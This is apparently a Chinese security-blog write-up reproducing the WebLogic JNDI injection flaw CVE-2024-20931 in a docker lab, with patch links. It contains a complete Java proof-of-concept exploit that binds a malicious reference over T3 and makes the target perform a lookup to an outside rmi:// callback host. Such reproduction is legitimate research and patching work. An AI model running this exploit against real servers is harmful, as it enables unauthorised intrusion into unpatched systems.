漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…

2024-03-07 1,059 0

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍

Oracle Fusion Middleware(Oracle融合中间件)和Oracle WebLogic Server都是美国甲骨文(Oracle)公司的产品。Oracle Fusion Middleware是一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。

Oracle Fusion Middleware 的 Oracle WebLogic Server 12.2.1.4.0版本、14.1.1.0.0版本存在安全漏洞。攻击者利用该漏洞可以访问敏感数据。

0x02影响版本

Oracle Fusion Middleware 14.1.1.0.0

Oracle Fusion Middleware 12.2.1.4.0

漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…插图

0x03漏洞复现

docker环境搭建

docker pull ismaleiva90/weblogic12
docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest

1.访问漏洞环境

http://192.168.86.6:7001/console/login/LoginForm.jsp

漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…插图1

2.对漏洞进行复现

poc代码

package com.supeream;

import weblogic.deployment.jms.ForeignOpaqueReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2024_209321 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

        // 创建用来远程绑定对象的InitialContext
        String url = "t3://192.168.86.6:7001/"; // 目标机器
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url); // 目标
        InitialContext c = new InitialContext(env1);

        // ForeignOpaqueReference的jndiEnvironment属性
        Hashtable env2 = new Hashtable();
        env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
        env2.put("datasource", "rmi://jwbye8.dnslog.cn/mt");

        // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String ldap = "rmi://jwbye8.dnslog.cn/mt";
        remoteJNDIName.set(f, ldap);

        // 远程绑定ForeignOpaqueReference对象
        c.rebind("glassy", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("glassy");
        } catch (Exception e) {
        }
    }
}

测试DNSlog(漏洞存在)执行poc java代码

注:注意依赖文件的加载

漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…插图2

dnslog回显漏洞存在

漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…插图3

3.工具测试(漏洞存在)

漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…插图4

dnslog回显

漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…插图5

注:流量数据如下

漏洞复现|Oracle WebLogic Server JNDI注入漏洞(CVE-2024-2093…插图6

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://www.oracle.com/security-alerts/cpujan2024.html

https://github.com/dinosn/CVE-2024-20931

https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论